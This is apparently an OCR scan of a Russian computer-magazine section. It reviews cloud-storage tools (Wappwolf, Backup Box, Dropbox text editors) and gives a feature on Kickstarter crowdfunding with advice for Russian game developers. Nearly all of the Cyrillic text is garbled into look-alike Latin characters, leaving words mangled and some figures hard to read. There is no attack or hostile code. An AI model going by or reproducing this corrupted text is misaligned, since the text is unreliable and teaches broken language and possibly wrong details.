B COLIMANbHbBIX CETHX.
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ABTOMATW3WPYEM PABQTY C ®ANTTAMM

Moaxoaut gnsa: Dropbox, Google Drive, Box

wappwolf.com

Wappwolf Automator — cepBuc MHOrodyHK-
LIMOHaNbHbINA M None3Hbln. OH He TONbKO
no3sonnT cBa3aTb Dropbox, Google Drive nnu
Box c Evernote, Facebook, Flickr u gpyrumun
cepBMCaMU, HO TakXXe MOMOXeT aBToMaTy-
31poBaTh M yNpocTUTL paboTy ¢ daitnamu.
Cnucok feiicTBNit-peLienToB 34ech A0CTaTON-
HO BeNMK (x0T 40 MHoroobpasus IFTTT emy
v paneko). MpucyTcTBYIOT KOHBEPTUPOBaHUE
daiinos B PDF-dopmart, oTnpaska dainos

Ha neyaTb B Google Cloud Print, koxBepTayus
B eBook, 0bpaboTka n3obpaxeHuin (KoH-

BepTaLus, pecaiis, fobaBneHne K KapTuHke
TEKCTa, «BOASHOr0 3HaKa», yaaneHue EXIF

v Tak ganee), wudposarne Gbannos u MHoroe
npyroe. HacTponTb feicTBUSA NS KaXA0M
BbI6paHHOI Nanku kpaiHe npocTo, foba-
BUTb Takoi cepsuc k Dropbox nnn gpyromy
XpaHunuLLy He cocTaBuT Tpyaa. Wappwolf,

Ha MO B3rnsf, HeNaoXo NOAOWAET TEM, KOMY
4acTo NpUXoANTCS paboTaTh ¢ 6oNbLWNM
KoNM4ecTBOM $OTO, MHOTO KOHBEPTUPOBATb
13 popmaTa B popMaT 1 BoobLLe CTaNKMBaTb-
¢l ¢ 60NbWUMN NOTOKAMMN [aHHbIX.

NENTAEM B3KAMbI CAMTOB W HE TOJIbKO

Mopaxoaut ans: Dropbox, SkyDrive, Google Drive, Box u Tak panee

mybackupbox.com

Bonpoc 63kanos akTyaneH Bcerga, 06 aTom
XOPOLLO 3HAEeT KaXAblil, KTO X0Tb pa3 6e3B03-
BPaTHO TEPSN CBOM [laHHble.

Backup Box — HacToswas MeyTa He ToNib-
Ko AN Nosb30BaTeNs 06n1ayHoro XxpaHuu-
la, Ho U AN NEeHUBOro BRajenbLa canTa.
Cepeuc noppepxusaet FTP, SFTP, WordPress,
Joomla, Drupal, MySQL, Amazon S3 n Tak fa-
nee, u ToMy nogobroe. loBops npoule, Backup
Box rotos 6akanuTb Bce, Yemy TpebyeTcs
perynsipHoe U cBoeBpeMeHHoe co3fjaHue pe-
3epBHbIX KoMUi. YTo [0 061a4HbIX XpaHuauLLY,

COBCTBEHHAA OOMCHAA CPELA B OBJIAKE

Backup Box noMoxeT cMHXpOHWU3MpoBaThL Apyr
c gpyrom Dropbox, SkyDrive, Google Drive,
Box 1 apyrue cepsucol. 370 yRobHo, ecan

Thl NOJIb3YELbCS HECKONbKMMU 061a4HbI-

MU XPaHWUAULLAMU NapannenbHo Uan ecnu

Thl, K NpuMepy, cobupaelwbes nepebpatses

c Google Drive Ha Dropbox, Ho He MeeLLb xe-
NaHWs NepeHocuTb Bce daitnbl BpyuHyt. KcTa-
TW, YNOMSIHYTbIe NIeHNBbIe BAafeNblibl CANTOB
MOryT HacTpouTb Nepefpayy 6akanos caiTta
Bce B ToT Xe Dropbox (unu gpyrue cepsucei),
4TO TOXKE BecbMa yAobHo. MpoekT becnnaTeH,

Moaxoaut ans: Dropbox

write-box.appspot.com, tinyurl.com/bt4bmir

Kak Hu cTpaHHo, faneko He BCe «nporpec-
CMBHOE YeNI0BEeYECTBO» NOJb3YeTCs AN Xpa-
HEHWs BOKYMEHTOB M paboTbl C HUMU Cep-
Bucom Google Drive (6biBlwunm Google Docs).
KoMy-To rnyboko HecuMmnaTnyHa «kopnopa-
Lus fobpa», KTO-TO MPOCTO NPUBLIK K APYTUM
061a4HbIM cepBucaM, B 06LLEM, NPUYUHBI

y Bcex cBou. O4eBMIHO 0fHO: TAKMX Niofei
bonblue, YeM MOXET MoKa3aTbCs Ha Nep-

BbI B3rnag, — AN Dropbox cywecTtsyet
Cpa3y HeCKOJIbKO TEeKCTOBbIX PeAakTOpOB,
aBTOMATUYECKM CUHXPOHU3UPYIOLMXCS C 06-

NayHbIM XpaHuanwem. Hanbonee nonynspHo
becnnaTHoe npunoxeHue PlainText gns i0S.
370 NOJTHOLLEHHbIN TEKCTOBbIW pefjakTop,

C MUHWUMANUCTUYHBIM U 3N1€raHTHbIM UHTEp-
pencoM, KOTOPbI NO3BOAAET KAk COXPaHATb
HanucaHHoe B Dropbox, Tak 1 oTKpbIBaTb
XpaHsimecs Tam daitabl 4ns pefakTupo-
BaHus. [1na Android Takxe ecTb aHanoru,

K npumepy Epistle. Ecnm xe HyxpAa B ncnonb-
30BaHMN peakTopa BO3HWKAeT He TaK 4acTo,
MOXHO 00paTUTb BHUMaHWE Ha OHNANHOBbIN
cepsuc Whitebox, kKoTopblil Toxe ymMeeT Bce,
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TouHee, paboTaeT B popmate freemium — Bcs
0CHOBHas dyHKLMOHaNbHOCTL becnnaTtHa,

HO 32 KaK1e-To «0Cobble OMLUM» YXKe NpU-
[eTcs 3annatnTb.

o o B e

4TO AOJIKEH yMeTb peflakTop, U Cpasy coxpa-
HaeT TekcTbl B Dropbox.
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PC ZONE AnTn laHuneBckuit (anti.danilevski@gmail.com)

Kickstarter — ofHa 13 ropsumx TeM nocnefHero BpeMeHun. 3Ta NnoLlaaka Aana 13Hb U CpeacTBa Ha Cy-
LLLeCTBOBAHME MHOXXECTBY MPOEKTOB MO CO3[aHWNI0 HEOObIYHbIX UTP, FaAXXeTOB U He ToNbKo. [1o3ToMy BMo-
He BO3MOXHO, 4TO Thl yXKe CJIbILIan U 0 CaMOM CEepPBUCE, U 0 HEKOTOPbIX €ro «BbIMYCKHUKax». IHTepecHo,
4TO B MOCNefHee BpeMS psifbl NPOEKTOB, OTAAHHbIX HA MUNOCTb TOJMNeE, MOMONHAT AeTULLA KOMaHA HaLLIWX
cooTeyecTBEHHUKOB. CniefoBaTeNIbHO, K HM MOXELLb NPUCOEANHUTHCS U Thl, BEPHO?
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BnacTb Tonne

N0BO «KpayadaHANHr» MpOUCXoauT

0T AIBYX @aHTIMINCKMX CroB: crowd —

Tonna u funding — dpuHaHcupoBaHue.
[locnoBHO 3TO MOXHO NepeBecTyH Kak «puHaH-
CUpOBaHWe TONNOW» UK «HapofHOe GUHAHCK-
poBaHue». Ha camoM fiene kpayadaHanHr — aTo
OTHOCUTEJIbHO HOBbIN CMOCO6 NpUBIIEYEHNS
CpeAcTB Ha pa3paboTky npoekToB. [lecTByeT 370
cnepywwum obpasom: aBTop NpoekTa npeana-
raeT uam uaeto, nam (Yawe) npotoTnn npoekTa.
[lanee, BMeCTO KNaccu4eckom cxeMbl, KOrfa aBTop
UAN KOMaHAa NpuBneKanu feHbrt 0T u3gate-
e, BEHYYPHbIX GOHL0B UM APYTUX KOMMaHW,
pa3paboTunKku NpeaiararT 00bIYHBIM O4AM
npoduHaHcmpoBaTh pa3paboTky. [pn aToM peyb
1AeT 0 COBEpLUIEHHO pa3Hbix cyMMax. B To Bpe-
M$ Kak 0T GOHJ,0B U MHBECTOPOB NOayYaloT
bonblune cyMMbl B OAMH UM HECKOJIBKO 3Tamnos,
npu KpayAdaHANHTe CPefiHWIA NnaTex cocTaBnseT
45 ponnapoB, HO KOIMYeCTBO NIOAEN ucYnUcaseTcs
COTHAMM 19 MaNeHbKUX MPOEKTOB U [0 ;eCATKOB
Thicay — Ans bonblnx. Bee cbopbl npoxopat
Ha cneunanbHbIX KpayapaHANHIOBbIX MHTEpHET-
nnowiagkax, camas nsectHas U3 Hux — Kukcrap-
Tep (kickstarter.com), cnefom 3a Het — VHgulolo
(indiegogo.com). Ha TeKyLLnit MOMEHT TakuX ak-
TUBHbIX NJIOLLAA0K 60Nee NATUAECATH, HO LUMPO-
KOV M3BECTHOCTbHIO MOJb3YeTCs BCEro HECKOJbKO.

B kpayndaHavHre ecTb 04HO BaXKHoe 0T-

N4mne OT CTaHAAPTHOTO MHBECTUPOBAHMSA:
N0AK, KOTOpble BKIaAbIBAOT AeHbri B MPOEKTHI,
He CTaHOBSATCS MHBECTOPaMM, COy4YpeanTeNsIMu
nnu akunoHepamu. laxe bonee Toro, no 3aKoHy
CLUA (rpe cocpepoToyero 90% npoekTos v ayau-
TOpuM KpayadaHAnHra) oHY He MOTYT CTaHOBUTbLCS
coBnafenbLamMn KoMmnaHuu paspabotumnka. Tonbko
B nepBoM kBapTase 2013 roga BbIMLET HOBbIN 3a-
koH, JOBS act, no kotopomy paspaboTunk cMoxeT
npogasaTh TakuM 06pa3oM [onn/akuny ceoen
KoMnaHuw. 3To faeT pa3paboTynKy BOIMOXKHOCTb
AenaTb UMEHHO TOT MPOEKT, KOTOPbI OH CYMTaeT
HYXXHbIM [lenaTb, be3 cTopoHHero BMeLLaTebCTBa
1 HaBA3bIBaHUS €My UAEN UK CUCTEM, KOTOpble
4acTo MPOTWMBOPEYaT NepBOHaYasbHO KOHLen-
LMK NpoekTa. TeM He MeHee JIofiM OXOTHO NNaTAT
v cTaHoBATCa «bekepamu» (oT aHrn. backer,
4TO MOXHO BOJIbHO NepeBeCTU Kak «4enoBek, Ko-
TOPbIN NOAAEPKAN NPOEKT AeHbraMmn»). Y MHOrux
He3HaKoMbIX C KpayAdaHANHIOM MU 3HAKOMbIX
TOJIbKO CO CTOPOHbI U HUKOTAA He MoSAepKNBaB-
LUMX NPOEKTbl Ha OAHOW U3 NOLLAL0K 3TO BbI3bl-
BaeT HeJoyMeHuWe: 3a4eM Ni1aTnUTb 3a To, Yero elle
HEeT 1, BO3MOXHO, U He byeT. MoxeT bbITb, X BCex
06MaHynu 1 KpacuBbIMU peyamm 1 KapTUHKamm
BbIMaHWN UX KPOBHbIe? Ho KOHEYHO, 3TO He TaK.

3AYEM OHW MITATAT?

KTo Takue bekepbl, 3a4eM OHU OTAAIOT HEW3-
BECTHbIM JTIAAM cBOM feHbrn? OTBET NpocT:

370 06bIYHbIE NIOAY, KOTOPbIE XOTAT YBUAETb
NPOeKT BOMMOLLEHHBIM B XKU3Hb U FOTOBbI PaAm
3TOr0 €ro NoAAepXaTb — MOXepPTBOBATH NPOEKTY
CBOM fieHbru. Ho noMuMo oluyLLeHus yA0BIeTBO-
peHus oT coBeplueHHoro bnaroro gena, bekepsl
MosyyatoT eLle U Maccy NpUATHbIX Npu3oB. CaMbiit
nonynspHbIA 1 0CHOBHOW — npuobpeTexune
byayLiero npoayKTa CyLLecTBEHHO AeLUeBe, YeM
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Mpumep urpsi Legends of Ei Id 6enopycckux pa3paboTynMkoB NokasblBaeT,
4TO N0NIb30BaTbCSA NAATHOPMON MOTYT U HALLIN COOTEYECTBEHHUKM

oH byfieT BNocNeCcTBUN NPOAABATLCS, BMNIOThb
10 10% ot ero byaywieit ctouMmocTu. U HeBaxHo,
4TO 3TO — Urpa, KoJ0Aa UrpanbHbIX KapT 0coboro
[LM3aliHa, Macka 1S CHa, U 4acbl, CUHXPOHU3K-
pyHOLLMECS C BALIMMMN MOBUIBHBIMU YCTPOMCTBAMY,
W NoXu3HeHHas ckuaka 50% B kade (koTopoe
ByneT Korga-HMbyAb NOCTPOEHO Ha cobpaHHble
cpeacTeal. Kaxapiit NpoeKT, 3anyuieHHbI Ha Kpa-
yobaHLUHIOBOM NNoLWafKe, UMEET IMHENKY CBOWX
OPUrMHANbHbIX 1 4ACTO YHMUKasbHbIX MPU30B, KO-
TOpble CMOTYT NONYYUTb TOJIbKO HeKepbl U TONIbKO
BO BPEMS KaMMaHWW N0 NPUBNEYEHNI0 CPEACTB.

Ho He ofiHO 3TO NpuBnekaeT bekepos B Npo-
eKTbl. [119 MHOrMX 3T0 — cnocob noayynTs TOT
MPOAYKT, KOTOPbIV OHW XOTSIT U KOTOPbIA MHaYe
HUKOT[,A MOXKET He YBUAETb CBET. APKUM NpuMepom
MOXET MOCNYXWTb HefjaBHU byM Ha KnkcTapTepe
KOCMWYECKMNX UTP, KOTOPbIE 10 HEJJABHEr0 BPeMeH K
He paccMaTpuBanuch M3gfaTensiMu scepbes. U se-
posiTHO, oueHb 3ps: Star Citizen, npoekT Kpuca Po-
bepTca, KOTOpOro Bbl, BO3MOXHO, 3HAeTe N0 CEpUAM
Wing Commander, cobpan 6,2 MunnnoHa fonnapos,
nocTaBvB MUPOBOI pekopf,. YyTb bonbLue AByx
MUANMOHOB BblNo cobpaHo Ha KnukcTapTepe, ocTaB-
wasics cyMMa — Ha caiiTe urpbl. Beero nopaepxa-
v npoekT noyTn 90 Thicsy YenoBek. 3To HArNSAHO
LLeMOHCTPUPYET, 4YTO, HanpuUMep, MHAYCTPUA Urp,
KOHTpONIMpyeMas U3faTensiMu, He COBCEM TaKasi,
KaKoW ee XOTST BULETb MHOTVE UTPOKM.

[ins MHorux bekepcTBo NpeBpatLaeTcs B x066m
v flaxe B MaHwio. Hepefko MOXHO yBUAeTb
KOMMEHTapuu Bpofe «5 He JoSKEH 3TOr0 jenats,
MOSI )XeHa MeHs ybbeT, HO 5 He MOTy MPOATH MUMO
3Toro npoekTal» unn «Moi bl AXeT yxKe ncyep-
naH B 3TOM MecsiLie, HO CO CefyloLLell 3apnnaThl
5 ¢ BaMu». [loyeMy Tak nponcxoauT? 370 a3apTHo.
MopaepXka NpoeKTa, akTUBHOE B HEM y4acTue,
obuieHne c pa3paboTurkaMm 1 NOMoLLb B €ro pac-
KpyTKe AeCTBMTENbHO 3aXBaThlBaloLW M NpoLecc,
4eM-To HanoMuHaLLWiA urpy. Tonbko TyT Bce
Mo-HaCTOALLEMY: HACTOSLLAs Liefb, HAacTosLMe
TOAN W CNOXHOCTY, HAacTosILiMe BbI30BbI. Bekepbl
co3patoT cooblecTBa BOKPYr NPOEKTOB, KOTOpble
OHU NOAAEPXMBAIOT U KOTOPbIE UCKPEHHE NTI0bST,
HaxonsAT eJMHOMbILLIEHHNKOB W fipy3eit. B yackl

KaMnaHUW HanpsHKeHWe U aKTUBHOCTb bekepos
LOCTUTAlOT MUKA U MOTYT NPOMU30NTU HacTosLLMeE
yypeca. Tak, byksanbHo 3a 10-12 nocnegHux yacos
urpa Starlight Inception cobpana HefocTalowme
30% (40 Tbicqy gonnapos). 3To CTaN0 BO3MOXKHO
ToNIbKO Onarofaps bekepam, KoTopble cenany,
Kasasocb bbl, HeBO3MOXHOE. [0 CNoBaM HeKoTo-
pbIX y4aCTHWUKOB, MOCJIE TOT0 Kak KaMnaHus 3aBep-
LIMNAck, Y HUX LPOXANN PYKU U KOJIEHH, a cepLie
roToBO BbIN0 BLICKOYUTb U3 rpyan. Takoe yyacTue
npeBpallaeTcs B aTTPaKLMOH U pa3BrieyeHne, Ko-
TOPOE MOXHO MO AOCTOMHCTBY OLLEHWUTb U MOHSTS,
TOJIbKO 0Ka3aBLUNCh BOBMIEYEHHbIM B UHTEPECHbIN,
KeNaHHbIN NpoeKT. K cyacTblo, BbIOMpaTb eCTb

13 Yero v C KAXXAbIM AHEM UHTEPECHbIX NPOEKTOB
CTaHOBMTCA BCe bonblie.

MoABens MPOMEXYTOYHBIN UTOT, MOXXHO CME0
cKa3aTb, 4To KpayadaHAVHr 3a py6exxoM ucnbiThi-
BaeT HEBEPOSATHbIV NOABEM, OH NONYSPEH U OTHO-
LLIeHWe K HEMY MpOCTO BennkonenHoe. BosHukaet
3aKOHOMEPHbIN BONPOC: @ Kak 06CToAT fena ¢ kpa-
yadaHanHrom B Poccun? EcTb v oTeyecTBEHHbIE
nnowaaku, 4Tobbl AaTh WaHC HalLKWM pa3paboT-
YMKaM TaKy Xe Bo3MoXXHocTb? K coxaneHuio,
CUTYyaLWs B Hallell CTpaHe HeyTelWwUTeNbHas. XoTs
KpayadaHanHrosble nnowanku B Poccun ectb
1 CYLLECTBYIOT yXKe [10BOJIbHO AaBHO (Hanpumep,

C Mupy Mo HuTke 1 MnaHeTal, MeHTanuTeT pyccko-
ro YeN0BEKa He COOTBETCTBYET CaMoii KOHLEenLum
KpayadaHanHra. loanepXxuBaTb 0Te4eCcTBEH-
HbIX pPa3paboTyYnMKOB He MOAHO; UTPbl, GUIbMbI

11 My3bIKY MPUHATO KayaTb C TOPPeHToB. YTo TyT
rOBOPUTH O BIOXKEHWU JeHET B TO, YEro eLle fJaxe
HET, U HEeMOHATHO, Kakoe oHo byneT? EcTb M MHOrO
Apyrux GakToOpoB, fienatLux KpayadaHanHr

B Poccum noka 4To HEBO3MOXHbBIM: OT OTCYTCTBUSA
YyBCTBA JIOKTS [10 peasunii COBpeMEHHOMN XNU3HY,
e KaXAablii caM 3a cebs. IsMeHnTCa v 3T0 Kor-
na-Hubynb, nokaxeT Bpems. Ckopee Bcero, ecnu
3T0 W MPOM30MAET, TO C OMO3AaHNEM Ha MHOFO JeT.

B 3TUX AXYHINAX
HAC HUKTO HE MOHUMAET

Bce BbileckasaHHoe ocTaBnseT pa3pa60T-
YWKY TOJIbKO OAWNH BbIXOA: UCKATb NOALEPXKKN
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PCZONE

3a pybexoM, y bonee N0SNbHO HACTPOEHHOM
1 Lpy>XeCcTBeHHOW ayauTopun. Ho TyT ecTb cBOM
Cepbe3Hble CIOKHOCTU, 0COBEHHO eCN NbITaTbCs
nonacTb Ha KukctapTep. Bo-nepsbix, asis aToro
Hago nMeTb cyeT B barke CLUA unu Benukobpura-
HUW 1 BbITb Pe3MAEHTOM OAHOI U3 3TUX CTPaH. 3T0
peLaeTcs, HO [OCTAaTOYHO CNOXHO, B psifie Clyya-
€B Hafl0 eLLe U NOATBEPANTb HaNnuMe feaTenb-
HOCTW KoMnaHuu. Ecnv ata npobnema peluaetcs,
To cllefiytolias A MHOTMX OKa3blBaeTcs He Me-
Hee cepbe3Hoii: A3bIkoBOM bapbep. Bekepbl xoTaT
BWAETb, KOMY OHU [al0T CBOM JieHbr 1, 1 NpeACcTaB-
AsioLLiee NPOEKT BUAEO, Ha KOTOPOM HeT aBTopos/
pa3paboTymMKoB, CEPbE3HO CHUXKAET LUAHCHI
Ha ycnex. PelweHuit HeckoNbKo, 0T pacckasa o CBo-
€M NPOoeKTe Ha TOMaHOM aHIIMACKOM 1o Bybnu-
pOBaHWSA B CTYAUU. HU OAWH U3 3TUX BapnaHTOB
He ABNSeTCSH 0LHO3HAYHO XOPOLUMM; KPOMe TOro,
Ha NPOTSKEHWW BCEI KaMnaHUM aBToOpy NPOeKTa
npuaeTtcs oblaTbcs ¢ 6ekepamu, 0TBEYaTb Ha UX
BOMPOChI, MMCaTb HOBOCTM 1 06HOBNEHNS... K 3T0-
MY HaJj0 ObITb XOPOLLO MOAFOTOBJIEHHbIM.

M KoHEeYHO, K pycCKIUM OTHOLLEHUE 3a pybexom
cneyndunyeckoe, 0CobEHHO KOrAa peyb 3aX0ANT
0 fieHbrax 1 gosepuu. beaycnosHo, 370 He 3Ha-
4nT, 4TO fleHer Tebe He BUAATb, — eCTb NpUMepbl
yCMelHbIX MPOEKTOB HalUMX COOTEYeCTBEHHNKOB
(Legends of Eisenwald unu Knock-Knock]. Ho 3a-
BOeBaThb floBepUe ByeT ropasfo CNOXHee, HY)KHO
nokasaTb jeiiCTBUTEIbHO XOPOLUMIA MPOEKT,
XopoLlee BUAEO 1 TO, YTO aBTOPbI FOPSIT CBOUM
npoekToM. Ho kak noka3sbiBaeT NpakTuka, camoe
CNOXHOE He 3T0.

CaMoe CnoXKHOe — 3T0 MONY4YUTb NMOALEPKKY
B 3apybexHoli npecce, NpuyeM ponb UrpaiT
TONbKO 60MblUMe nopTanbl. 3TO He NpeyBenu-
yeHwue: oguH 0630p Ha, Hanpumep, Techcrunch
cbirpaeT pofib ropa3sgo 6onbLuyto, YeM CTO UK
Laxe 4BecTi 0630pOB Ha MeJIKMX NopTanax uim
bnorax. C popymamu kapTuHa cxoxas. Hanpu-
mep, 06 urpe Divine Space 6bii10 HanucaHo bonee
yeM Ha 150 aHrnos3bluHbIX GOPYMOB, WM 06CyxX-
LeHWNS pasHoOM MHTEHCUBHOCTY, HO OLLYTUMOrO

Bnaropaps Kickstarter Bo3poxpatoTcs faBHO 3a6biTble Urpbl,

skntoyas Wasteland Bpaitana ®apro, Carmageddon v apyrue.
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adpekTa 370 He gano. ing cbopa bonee-meHee
Cepbe3HON CyMMBbI HyXHO He MeHbLue 50 000 npo-
CMOTPOB Npe3eHTaLoHHoro Buaeo (npumep —
Legends of Eisenwald, 55 Tbicay npocMoTpoB
Bugeo 1 cbop 85 Teicsy gonnapos; Divine Space,
20 Toicay npocmoTpoB 1 30 ThicAY LoNnapos
cobpaHo). To ecTb, v MPOeKT Baxe X0poLuit

¥ HpaBUTCs bekepaM, BCe peLwaeT To, NULWYT in

0 HeM bonblwne n3panns. LaHcel, 4To HanuwyT
Npo HeU3BEeCTHbIX pa3paboTynKoB 13 Heno-
HATHO CTpaHbl, rAe XOAAT M0 yauLe MeaBeau,
HebonbLMe... eCNIN He NpoBefeHa NpaBuibHas
NoAroToBKa (B JaHHOM Crly4Yae peyb MAeT o Map-
KETUHTOBON MOArOTOBKE, 0 MOArOTOBKE KaMnaHum
Byaet HeMHoro nosxe). Yo byaet npasuabHbIM?
TouyHo M3BecTHas fjaTa 3anycka, NnpefBapuTeb-
Hble [LOroBOPEHHOCTU 0 NybanKaLum ¢ npec-

oVt M 3apaHee NOAroTOBEHHbIE MaTepuansl.

B npeane 3To pasocnaHHbIi N0 rapaHTMPOBAHHO
paboTaloliMM KaHanam npecc-penns, KOTopblii
3aUHTepecoBas XypHanucToB U peakToOpoB

n fan obpaTHyto cBs3b. Hanbonee BeposiTHO,

4To 6e3 Nnap-areHTCTBa, MMEIOLLEr0 BbIXOAbI

B chepe 3anyckaemoro npoekTa, paspaboTyvkam
CaMOCTOSATEsIbHO 3T0 He yaacTcs. Kpome Toro,

He MMesi 3BE3[LHOT0 MMEHU U CNaBbl, XUBOTO
coobuiecTBa, 6e3 KayecTBEHHOW feMOHCTPaL MK
npoekTa cepbe3Hbix cbopos He nonyyunib. Ha-
npumep, ons Divine Space oTcyTcTBME 6oeBoro
reMMnes cTano TpeTbel no BaXKHOCTU NpUYMn-
HOMI, MO KOTOPOW YaCTb XKYPHANMCTOB 13 bonbLuoi
npecckl He CTanu nucaTb 0630pbl, faxe HeCMOTpA
Ha TO, 4TO UTpa W MAes, KOHLEeNUMs 1 apT, noa-
roToBKa NpOeKTa U MaTepuabl Bbi3Banu caMmble
MoNoXWUTENbHble 0T3bIBbI. TYT Hafj0 NOHUMaTb,
4T0 HoNblUME U3JAHNS 04EHb CEPbE3HO OTHOCST-
CS K CBOEI penyTaLuy 1 UM NyyLle He HanucaTb
0630p, 4eM LONYCTUTb K NybAUKaLMK faxe co-
BCEM HEMHOI0 PUCKOBaHHbIN MaTepuan.

JIIOBUMELL NMYBJINKKN
Ecnu Tbl BCe e pelunilb UCMbITaTb CBOIO yaaudy
Ha 0JHOI U3 NIOWAA0K, TO NPU MOArOTOBKE

KaMMaHWy CTOWT y4ecTb Ceayloline MOMEeHTHI,
KPUTUYECKM BaXKHblE NS yCriexa KaMnaHum.

MpeseHTauuoHHoe BUAEO. Ha 3TOM BUaeo
LOSDKHBI BbITb Tbl M/MJK TBOS KOMAHAA, OHO
LOSKHO NoKa3blBaTb TBOW OyyLLMIA NPOEKT 1 To,
YTO eCTb cenyac. 370 BUALO [OKHO BblTb UHTE-
pecHbIM, yBNleKaTesbHbIM, OHO LOSKHO NoKa3aTb
BCEM 11 KaX[0My, MOYEMY TBOW NPOEKT AOJKEH
bbITb caenaH. Bygb cobon, bygb yecTeH u nckpe-
HeH, He NpeBpalLLaii BUAEO B 00ObIUHYIO CKYYHYIO
npeseHTauuio. Ecim aTo nrpa, To Nokaxw B BUAEO
TBOIO Urpy, Kako byneT urposoit npouecc. Cambiit
JIYYLIUIA COBET, KOTOPbIA MOXKHO TYT AaTb, —
3T0 U3Y4YUTb aHaAJIOTMYHbIE NPOEKTHI, BbIOpaTh
Havnbonee NoHpaBuBLLIEECS BUAEO U CTPEMUTHCS
cfienaTb YTO-TO MOXOXEE.

Harpaps! (peBoppbl), KoTopble nonyy4ar
6ekepbl 3a CBOM BKIaAbl. YeM Bbille BKNAgA,

TeM Nyylle v LOPOXe Harpaaa. Hanpumep, ouyeHb
yacTo 3a 15 onnapoB Thl MOXeLUb MONYYUTb
KopobKy ¢ Urpoit, KoTopas Nocne N3JaHus urpsl
bynet cTonTb, HanpuMep, 50 bakcoB, a B Harpagy
3a 50 fonnapoB — nojapoyHoe U3faHune + Maiiky
+ dnelwky c noro urpbl. Harpag MoxeT 6bITb MHO-
ro pasHbix, o7 1 n go 10 000 gonnapos. Hanpu-
mep, Tum LLedep «npogan» yeTbipe 0bepa ¢ HUM
1 PoHoM [MnbepToM YeTbipeM pasHbiM IOASAM.
CtonmocTb obepa coctauna 10 000 gonnapos.
Bpsag nu komy-To bypet uHTepeceH obep c Tobo#w,
HO MHTepecHble TBOe LeNeBoii ayAnTopun Ha-
rpafibl 3HAYNTEIbHO NOBLICAT TBOU CHOPLI U, CO-
OTBETCTBEHHO, LUAHCHI Ha yCMeX.

LieneBas cyMMa, KOTOpYI0 Tbl X04ellb co-
6paTh Ha NPoeKT. Ecy Tbl NOCTaBULLb CULLKOM
Mano — Maso 1 cobepelub (3a TaKUM pe kUM nc-
KntoyeHueM, kak FTL: paspabotunku npocunn 10
Thicay, a cobpanu 200 Teicsy). Eciv Thi monpocuiub
C/IMLIKOM MHOTO, TO Tebe He NoBepsaT U He byayT
B Tebs BKNaabiBaTbes. ONsTh Xe Takue 3Be3Abl,
kak Bpaiian ®apro, MOryT nonpocuTb 1 napy Mun-
NIMOHOB, X0TS Aaxe oH 3assun 900 Teicay. MoaTomy
Haf,0 TPe3BO OLLEHMBATL CBOM CUJIbI, CJIOXKHOCTb
npoeKTa ¥ NoTeHLMaNbHbI MHTEpPeC ayauTopum
HE TONbKO K TBOEMN UTPE, HO U K BbIOPaHHOMY XaH-
Py, CETTUHTY U pOYeMy.

LleneBas ayauTopusa. Hafo noHnMmaTh, eCTb
N1 Ha 3Tol KpayadaHAWHIOBOW NnoLLafiKe TBOS
LeneBas ayanTopms 1 HaCKoNbKO TBOW MPOEKT
BooOLe byneT et uHTepeceH. Hanpumep, Divine
Space 0Ka3asics HeWHTepeCeH U3-3a TOro, 4TO Mo-
L06HbIX Urp elle HET Ha NNaHLWeTax 1, CooTBeT-
CTBEHHO, TaKo LieNeBoi ayAnTopuu elle npocTo
He cylecTByeT B Heobxoanmom obbeme. M oyerb
BEPOATHO, 4To ecan bl Divine Space paspa-
baTbiBancs 419 NepcoHanbHbIX KOMNbIOTEPOB,

TO cyMMa bbina bl cobpaHa be3 ocobbix npobnem.
KpoMme Toro, Harpafibl LOMKHbI ObITb MHTEPECHBI
Leneson ayautopuu. Mpwu paspaboTke Harpag
HYXHO 4eTKO MOHUMaTb, AN1S KOO Thl AeNaellb
NPOEKT, KeM SIBNIeTCS TBON psif0BOi NoTpebu-
TeNb, Paiy Yero 1 Kakoi cyMMoii oH byaeT rotos
noxepTBoBaTh. [ln8 npumMepa, nobuten Taxe-
JI0ro MeTanna Bpaj iu nogaepxar ebs, ecnu
Harpagon byget kykna Bapbu.

MnaH KaMnaHUKU. 370 KOHKPETHOE NOHUMaHWe
TOrO, YTO Thl LOJIKEH DyAelb cAenath, YTobbl
o Tebe y3Hanw v ocBellany bbl TBOW NPoEKT
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BnacTb Tonne

ABTopaM Pebble ynanocb cobpath 6onee 10 Munnmoxos
AONNapOB Ha CO3AiaHNE YMHbIX YacoB...

B npecce. be3 Takoro nnaHa TBow WaHChl Ha ycnex
NpaKTU4eckn paBHbl Hymo. Cloaa e BXOJUT niaH
00HOBNIEHUI 1 HOBOCTEN Ha BECb CPOK KaMmMaHuu,
apT, MaTepuarnbl, My3blKa 1 BCe MPOYee, YTO MOXET
NOALEPXMBaTb MHTEPEC K KaMNaHWK, NpuBnekaTb
HOBbIX beKepoB 1 reHepupoBaTh 06CyXAeHUS.
06bI4HO TaKMMU HOBOCTAMU DbIBAIOT pacckasbl

0 MPOeKTe UV KOMaHfe, OTBETbI Ha CaMble YyacTble
11 XKMBOTPENELLyLi1e BOMPOCHI.

PUcKM npoekTa. Tbl JO/IKEH MOHMMATb OC-
HOBHbI€ PUCKW, MO KOTOPbLIM TBOW NPOEKT MOXKET
He cobpaThb HYXXHYI CYyMMY, 1 N0 BO3MOXHOCTH
X MUHUMU3NPOBaTh. Ecnu aTo caenath HeBo3-
MOXHO, TO HY)XXHO MeTb nnaH b: yTo genats,
eCNIV MPOEKT He cobpan HyXHy cyMMmy (Moa-
pobHee 06 3ToM byneT HeMHoro nosxe). Hanpu-
mep, y Divine Space 66110 TpY OCHOBHbIX pUCKa,
KoTopble Dbl M3HAYaNbHO N3BECTHBI U YYTEHbI:
nnatdopma iPad u Mogens MoHeTusauuu free-2-
play, 4To nopoXnano TpeTwii (M caMblii rnasHbIii)
PUCK — OTCYTCTBME KOMWUU UTPbl B KA4YECTBE
Harpapbl (Tak Kak urpy u Tak Bce JOMKHbI Bbiu
noNyunThb becnnaTHo). Kaxablil U3 3TUX pUCKOB
HEMHOr0 CHIXa KOHBEPCUIO noceTuTenei
B DeKepoB, 4TO NPUBENIO K HEJLOMYCTUMO HU3KOMY
ypoBHio (0koso 3%). 3To co3aano y HoBbIX MoceTn-
Tenell BneyaT/ieHne, byATo NPOEKT HeMHTEpeCeH
Macce, 1 3pdeKTa CHEXHOro KOMa He CJTy4noch,
4TO pewwno cyabby nrpel.

Pucku ycnexa. Ycnex kaMmnaHum Toxe HeceT
B cebe MHOXECTBO PUCKOB, HO MHOMO CBOMCTBA.

370 B OCHOBHOM PUCKM OTBETCTBEHHOCTY U B3AThIX
Ha cebs 0bg3aTenbcTB. Tebe NpeACTONT N3roTOBUTH
